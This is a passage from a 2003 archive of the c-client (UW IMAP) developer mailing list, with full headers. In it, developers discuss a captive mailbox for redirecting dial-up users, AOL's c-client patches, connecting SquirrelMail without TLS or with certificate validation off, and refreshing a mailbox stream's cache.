Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 3 Nov 2003, James Wilde wrote: > We want to change our customers from one modempool number to another. > To achieve this, we want to send them to a captive server if they use > the old modem number, from which they can only escape by changing the > modem number they ring - or rather having our little program on the > captive server do it for them. How do you determine this? Presumably, each modem pool uses a different block of IP addresses on the terminal server? > For webmail customers this is already fixed. It is our pop and imap > customers with which I have a problem. My question is how do I > configure a uw-imap server to direct all attempted logins, whether by > pop or imap, to the same mailbox which delivers one message to the > person, a message which he/she cannot erase in the mailbox (so that > others can receive it). Probably the easiest thing is to hack log_???.c to do the test for the modem pool, and if it is then log the user in under a different user that has the readonly mailbox. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Nov 3 08:50:22 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 3 Nov 2003 08:50:22 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hA3GoLlU010695 for ; Mon, 3 Nov 2003 08:50:21 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hA3GoIhW024206 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 3 Nov 2003 08:50:19 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hA3GoDlZ014478; Mon, 3 Nov 2003 08:50:14 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hA3GnSnM014830 for ; Mon, 3 Nov 2003 08:49:29 -0800 Received: from mr-mcfeeley.fgm.com (mr-mcfeeley.fgm.com [216.1.16.101]) by mxu5.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hA3GnRQP026749 for ; Mon, 3 Nov 2003 08:49:27 -0800 Received: from [10.10.50.26] (hades.fgm.com [216.1.16.126]) by mr-mcfeeley.fgm.com (8.11.6/8.11.2) with ESMTP id hA3GeAc10133; Mon, 3 Nov 2003 11:40:10 -0500 Message-Id: Date: Mon, 3 Nov 2003 11:49:26 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Michael Cashwell To: "James Wilde" Cc: Subject: Re: Setting up a captive mailbox In-Reply-To: <46538C88A91DE841A71F583AB1E67DFE01C4B9@venus.glocalnet.com> References: <46538C88A91DE841A71F583AB1E67DFE01C4B9@venus.glocalnet.com> Mime-Version: 1.0 (Apple Message framework v606) Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, __CT, __CTE, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __MIME_VERSION_APPLEMAIL, __MSGID_APPLEMAIL, __REFERENCES, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Nov 3, 2003, at 8:00 AM, James Wilde wrote: > Hope someone can help with this. Have not been able to find the right > search parameters in my searching of the archives. > > We want to change our customers from one modempool number to another. > To achieve this, we want to send them to a captive server if they use > the old modem number, from which they can only escape by changing the > modem number they ring - or rather having our little program on the > captive server do it for them. > > For webmail customers this is already fixed. It is our pop and imap > customers with which I have a problem. My question is how do I > configure a uw-imap server to direct all attempted logins, whether by > pop or imap, to the same mailbox which delivers one message to the > person, a message which he/she cannot erase in the mailbox (so that > others can receive it). If the accepted solution requires one mailbox > for pop and one for imap, that's okay. > > If there is an easier solution using something other than uw-imap, > feel free to suggest it. You should consider that this is likely to irritate many IMAP users. IMAP clients often cache the content of mailboxes. If the view of the users' account suddenly removes all their messages (both in the inbox and all folders) these clients are going to slavishly toss all of the cached email. That will then mean a lengthy resync once they change their settings and dial back in. It wouldn't impact POP users since an empty inbox (save for you single notice message) does not remove or invalidate email a user already has locally. At the very least, this approach should be arranged to be a final catch-all method of notifying users. Then, only IMAP users who ignore the earlier notices would be impacted. I would consider this as an initial or primary means by which I learn of the dial-in changes to be highly annoying and heavy-handed due to the side effects. A brief, administrative email sent a few weeks before throwing the switch would suffice, at least for me. Best regards, -Mike From pinedev@shivax2.cac.washington.edu Mon Nov 3 09:18:13 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 3 Nov 2003 09:18:13 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hA3HIDlU011860 for ; Mon, 3 Nov 2003 09:18:13 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hA3HIACk017675 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 3 Nov 2003 09:18:11 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hA3HI7lZ004934; Mon, 3 Nov 2003 09:18:07 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hA3HHCnM013950 for ; Mon, 3 Nov 2003 09:17:12 -0800 Received: from imo-r08.mx.aol.com (imo-r08.mx.aol.com [152.163.225.104]) by mxu5.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hA3HH7QR003622 for ; Mon, 3 Nov 2003 09:17:11 -0800 Received: from Ck132609@aol.com by imo-r08.mx.aol.com (mail_out_v36_r1.1.) id d.171.25d455c0 (16111) for ; Mon, 3 Nov 2003 12:16:54 -0500 (EST) Received: from pc646606.nscp.aoltw.net (h-10-169-26-108.nscp.aoltw.net [10.169.26.108]) by air-id12.mx.aol.com (v97.8) with ESMTP id MAILINID123-3eef3fa68d8584; Mon, 03 Nov 2003 12:16:53 -0500 Message-Id: <3FA68D86.1080809@aol.com> Date: Mon, 3 Nov 2003 09:16:54 -0800 Reply-To: AOLC-OPENSRC@listserv Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Christian Kaiser" To: c-client@u.washington.edu Subject: c-client patch for AOL Communicator MIME-Version: 1.0 Content-Type: TEXT/HTML; CHARSET=us-ascii X-AOL-IP: 10.169.26.108 X-Uwash-Spam: Gauge=XXXIIIIIIII, Probability=38%, Report='FROM_ENDS_IN_NUMS, FROM_WEBMAIL_END_NUMS6, HTML_ALL_CAPS, SIGNATURE_SHORT_DENSE, __AOL_FROM, __CT, __CTYPE_HTML, __HAS_MSGID, __MIME_HTML, __MIME_HTML_ONLY, __MIME_VERSION, __MOZILLA_MSGID, __SANE_MSGID, __TAG_EXISTS_BODY, __TAG_EXISTS_HEAD, __TAG_EXISTS_HTML' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN
    c-client developers,
     
    AOL is developing a product called AOL Communicator which uses c-client.  Our version of c-client is rather old; we started with 2001-BETA-SNAP-0107221451 and have not updated since.
     
    The changes we have made to c-client for our product are available at:
     
        ftp://ftp.newaol.com/ac/giveback/n09/c-client/
     
    The above ftp directory contains the following files:
     
        README.c-client: this message
        c-client.diffs: "diff -uN" of the changes we've made to the c-client sources
        c-client.txt: Annotations explaining our changes
     
    We hope you find these changes useful.  Thanks for developing c-client!
     
    -AOL Communicator Team
    -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Nov 3 15:35:42 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 3 Nov 2003 15:35:42 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hA3NZflU001456 for ; Mon, 3 Nov 2003 15:35:41 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hA3NZbCk032616 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 3 Nov 2003 15:35:38 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hA3NZXbc013154; Mon, 3 Nov 2003 15:35:33 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hA3NYfnM007878 for ; Mon, 3 Nov 2003 15:34:41 -0800 Received: from linux.pistetietoliikenne.com (linux.multitronic.fi [213.28.138.36]) by mxu5.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hA3NYdQP004024 for ; Mon, 3 Nov 2003 15:34:40 -0800 Received: from hpob6100 (localhost [127.0.0.1]) by linux.pistetietoliikenne.com (8.12.10/8.12.9) with SMTP id hA3NYU3X013066 for ; Tue, 4 Nov 2003 01:34:31 +0200 Message-Id: <004601c3a263$08bef460$ee0e030a@office.multitronic.fi> Date: Tue, 4 Nov 2003 01:34:30 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Patrik Hall" To: Subject: Re: plain text login References: <006701c3a21c$55edfcf0$0203a8c0@TUXSoft> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Uwash-Spam: Gauge=XI, Probability=11%, Report='PRIORITY_NO_NAME, REFERENCES, SIGNATURE_SHORT_DENSE, __CT, __CTE, __CTYPE_CHARSET_QUOTED, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MIMEOLE, __HAS_MSGID, __HAS_MSMAIL_PRI, __HAS_X_PRIORITY, __MIME_VERSION, __OUTLOOK_MSGID_1, __REFERENCES, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello. By specifying "localhost/notls" as hostname in the configuration to squirrelmail and to other webmail applications implemented trough PHP imap, the connection should be established without ssl or tls. Sometimes one reason why php applications refuses to connect to imap servers (the defaults are connection using tls) are that validation of the certificates fail. This happen if the certificates are self-signed or signed by an authority not found in the certificate bundle in openssl. Connecting using tls but no validation can be done by specifying as hostname for instance "localhost/imap/ssl/novalidate-cert" or if using port 993 "localhost:993/imap/ssl/novalidate-cert". Good luck. Patrik Hall ----- Original Message ----- From: Facundo Suárez To: c-client@u.washington.edu Sent: Monday, November 03, 2003 5:08 PM Subject: plain text login Hi, i am a new user of uw-imap and i am having troubles with my Squirrelmail, i want to use it with uw-imap, but, configuring Squirrel to work with uw, port 143, tsl support, login autenticated, and still don't work. It don't let me login in Squirrelmail page. Using imap cilents.. it's all ok. both, tsl on 143 and tsl on 993. My question is, how con i configure uw-imap to work plaint text login, no tsl, port 143 to work fine with squirrel ??. I am using debian and i have installed uw-imap with apt-get. I will be very thaks to any help. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Nov 4 16:15:05 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 4 Nov 2003 16:15:05 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hA50F5lU024122 for ; Tue, 4 Nov 2003 16:15:05 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hA50F3hW020795 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 4 Nov 2003 16:15:03 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hA50E0mu012532; Tue, 4 Nov 2003 16:14:01 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hA50CenM018936 for ; Tue, 4 Nov 2003 16:12:40 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxu1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hA50CdTO002091 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 4 Nov 2003 16:12:39 -0800 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.100.200]) by mxout4.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hA50Ccmw001154; Tue, 4 Nov 2003 16:12:38 -0800 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hA50CcfA005618; Tue, 4 Nov 2003 16:12:38 -0800 Message-Id: Date: Tue, 4 Nov 2003 16:12:38 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Christian Kaiser Cc: c-client@u.washington.edu Subject: Re: c-client patch for AOL Communicator In-Reply-To: <3FA68D86.1080809@aol.com> References: <3FA68D86.1080809@aol.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIII, Probability=5%, Report='IN_REP_TO, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Thank you for the patches. I'll look them over and see if there are any that I want to adopt. Some of the change (e.g. the new Unicode codepoint for the Euro character) were already made independently. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Nov 5 21:46:14 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 5 Nov 2003 21:46:14 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hA65kENL022992 for ; Wed, 5 Nov 2003 21:46:14 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hA65k7Ck002505 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 5 Nov 2003 21:46:07 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hA65k11r012612; Wed, 5 Nov 2003 21:46:01 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hA65ibhW022978 for ; Wed, 5 Nov 2003 21:44:37 -0800 Received: from imo-r01.mx.aol.com (imo-r01.mx.aol.com [152.163.225.97]) by mxu5.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hA65iaQP031407 for ; Wed, 5 Nov 2003 21:44:36 -0800 Received: from Ck132609@aol.com by imo-r01.mx.aol.com (mail_out_v36_r1.1.) id d.a.37e420e7 (16087) for ; Thu, 6 Nov 2003 00:44:32 -0500 (EST) Received: from pc646606.attbi.com (sera-10-169-192-18.nscp.aoltw.net [10.169.192.18]) by air-id10.mx.aol.com (v97.8) with ESMTP id MAILINID104-3ed73fa9dfbf373; Thu, 06 Nov 2003 00:44:32 -0500 Message-Id: <3FA9DFC1.1020501@aol.com> Date: Wed, 5 Nov 2003 21:44:33 -0800 Reply-To: AOLC-OPENSRC@listserv.aol.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Christian Kaiser" To: c-client@u.washington.edu Subject: c-client patch for AOL Communicator MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=us-ascii X-AOL-IP: 10.169.192.18 X-Uwash-Spam: Gauge=XII, Probability=12%, Report='FROM_ENDS_IN_NUMS, FROM_WEBMAIL_END_NUMS6, SIGNATURE_SHORT_DENSE, __AOL_FROM, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __MIME_VERSION, __MOZILLA_MSGID, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Jim Seymour pointed out that sending a text/html message and the fact that the "Reply-To" address was invalid was kind of counterproductive. Sorry about that. Here we go again, this time hopefully more readable: c-client developers, AOL is developing a product called AOL Communicator which uses c-client. Our version of c-client is rather old; we started with 2001-BETA-SNAP-0107221451 and have not updated since. The changes we have made to c-client for our product are available at: ftp://ftp.newaol.com/ac/giveback/n09/c-client/ The above ftp directory contains the following files: README.c-client: this message c-client.diffs: "diff -uN" of the changes we've made to the c-client sources c-client.txt: Annotations explaining our changes We hope you find these changes useful. Thanks for developing c-client! -AOL Communicator Team -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Nov 12 00:45:44 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 12 Nov 2003 00:45:44 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAC8jiNL011480 for ; Wed, 12 Nov 2003 00:45:44 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAC8jgCk004023 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 12 Nov 2003 00:45:43 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hAC8icAk004994; Wed, 12 Nov 2003 00:44:38 -0800 Received: from mxu9.u.washington.edu (mxu9.u.washington.edu [140.142.32.174]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAC8h0hW008552 for ; Wed, 12 Nov 2003 00:43:02 -0800 Received: from dk10.ementor.dk ([194.192.21.239]) by mxu9.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAC8grrR031342 for ; Wed, 12 Nov 2003 00:42:54 -0800 Received: from dk14.dk.ementor.dom (unverified) by dk10.ementor.dk (Content Technologies SMTPRS 4.3.6) with ESMTP id for ; Wed, 12 Nov 2003 09:47:34 +0100 Message-Id: Date: Wed, 12 Nov 2003 09:42:58 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jess Nielsen To: c-client@u.washington.edu Subject: Total refresh of the stream MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-MIMETrack: Serialize by Router on DK14/Ementor(Release 6.0.3|September 26, 2003) at 12-11-2003 09:42:56, Serialize complete at 12-11-2003 09:42:56 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='SIGNATURE_SHORT_DENSE, __CT, __CTYPE_CHARSET_QUOTED, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __MIME_VERSION, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi there I'm looking for a way that will refresh the entire screen and cache as well. I have tried to use mail_open() but unfortunately this will result in other problems in my app. stream = mail_open(stream, OP_EXPUNGE); stream = mail_open(stream, NIL); Both of them is causing problems later on in my app. so I need a way to refresh and flush my application without reopening it. I'm hoping for a soon reply. Thanks in regards, Jess -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Nov 12 05:45:52 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 12 Nov 2003 05:45:52 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hACDjqNL022069 for ; Wed, 12 Nov 2003 05:45:52 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hACDjopd015395 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 12 Nov 2003 05:45:51 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hACDirFe016762; Wed, 12 Nov 2003 05:44:54 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hACDhlhW014790 for ; Wed, 12 Nov 2003 05:43:47 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu5.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hACDhkQQ016167 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 12 Nov 2003 05:43:46 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hACDhZhu020346; Wed, 12 Nov 2003 05:43:36 -0800 Received: from Shimo-Tomobiki.Panda.COM (mes128085095.airdata.net [166.128.85.95]) (authenticated bits=0) by smtp.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hACDhGSS024764 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 12 Nov 2003 05:43:31 -0800 Message-Id: Date: Wed, 12 Nov 2003 07:43:15 -0600 (Central Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Jess Nielsen Cc: c-client@u.washington.edu Subject: Re: Total refresh of the stream In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 12 Nov 2003, Jess Nielsen wrote: > I'm looking for a way that will refresh the entire screen and cache as > well. What is it that you wish to accomplish? What do you mean by a "total refresh"? Since IMAP is a stateful protocol, there is generally no reason why you would want to do the type of "refresh" operation that you need to do with web pages or NFS. More to the point; the only reasons why you need to call mail_open() again is if you want to open a different mailbox or if the IMAP session got broken and the stream is dead. If you have a live stream open on the mailbox that you want, there should be no reason to "refresh" it. So, you may confused; I certainly am with your question. I suspect that you observed a problem, you think that the solution is to "refresh", and are getting yourself deeper into trouble. If this is the case, then what you should do is re-examine the underlying issue. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Nov 12 05:53:38 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 12 Nov 2003 05:53:38 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hACDrbNL022270 for ; Wed, 12 Nov 2003 05:53:37 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hACDraCk011090 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 12 Nov 2003 05:53:36 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hACDqb1r012902; Wed, 12 Nov 2003 05:52:37 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hACDqLhW025040 for ; Wed, 12 Nov 2003 05:52:21 -0800 Received: from dk10.ementor.dk ([194.192.21.239]) by mxu1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hACDqJTN001496 for ; Wed, 12 Nov 2003 05:52:20 -0800 Received: from dk14.dk.ementor.dom (unverified) by dk10.ementor.dk (Content Technologies SMTPRS 4.3.6) with ESMTP id for ; Wed, 12 Nov 2003 14:57:00 +0100 Message-Id: Date: Wed, 12 Nov 2003 14:52:23 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jess Nielsen To: c-client@u.washington.edu Subject: Re: Total refresh of the stream MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-MIMETrack: Serialize by Router on DK14/Ementor(Release 6.0.3|September 26, 2003) at 12-11-2003 14:52:22, Serialize complete at 12-11-2003 14:52:22 X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, QUOTED_EMAIL_TEXT, __CT, __CTYPE_CHARSET_QUOTED, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __MIME_VERSION, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN My problem is that I have to different sessions accessing the same mailbox. When one of the sessions are deleting mails in the mailbox the other session still holds the data for theese deleted messages, which means that cache does not contain the same data as the store/mailbox. I would like to force an update of the stream/cache to make sure that both the store and cache will be in sync. Regards, Jess Mark Crispin Sent by: mrc@ndcms.cac.washington.edu 12-11-2003 14:43 To: Jess Nielsen cc: c-client@u.washington.edu Subject: Re: Total refresh of the stream On Wed, 12 Nov 2003, Jess Nielsen wrote: > I'm looking for a way that will refresh the entire screen and cache as > well. What is it that you wish to accomplish? What do you mean by a "total refresh"? Since IMAP is a stateful protocol, there is generally no reason why you would want to do the type of "refresh" operation that you need to do with web pages or NFS. More to the point; the only reasons why you need to call mail_open() again is if you want to open a different mailbox or if the IMAP session got broken and the stream is dead. If you have a live stream open on the mailbox that you want, there should be no reason to "refresh" it. So, you may confused; I certainly am with your question. I suspect that you observed a problem, you think that the solution is to "refresh", and are getting yourself deeper into trouble. If this is the case, then what you should do is re-examine the underlying issue. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Nov 12 06:20:42 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 12 Nov 2003 06:20:42 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hACEKgNL022858 for ; Wed, 12 Nov 2003 06:20:42 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hACEKeCk011980 (version=TLSv1/SSLv3 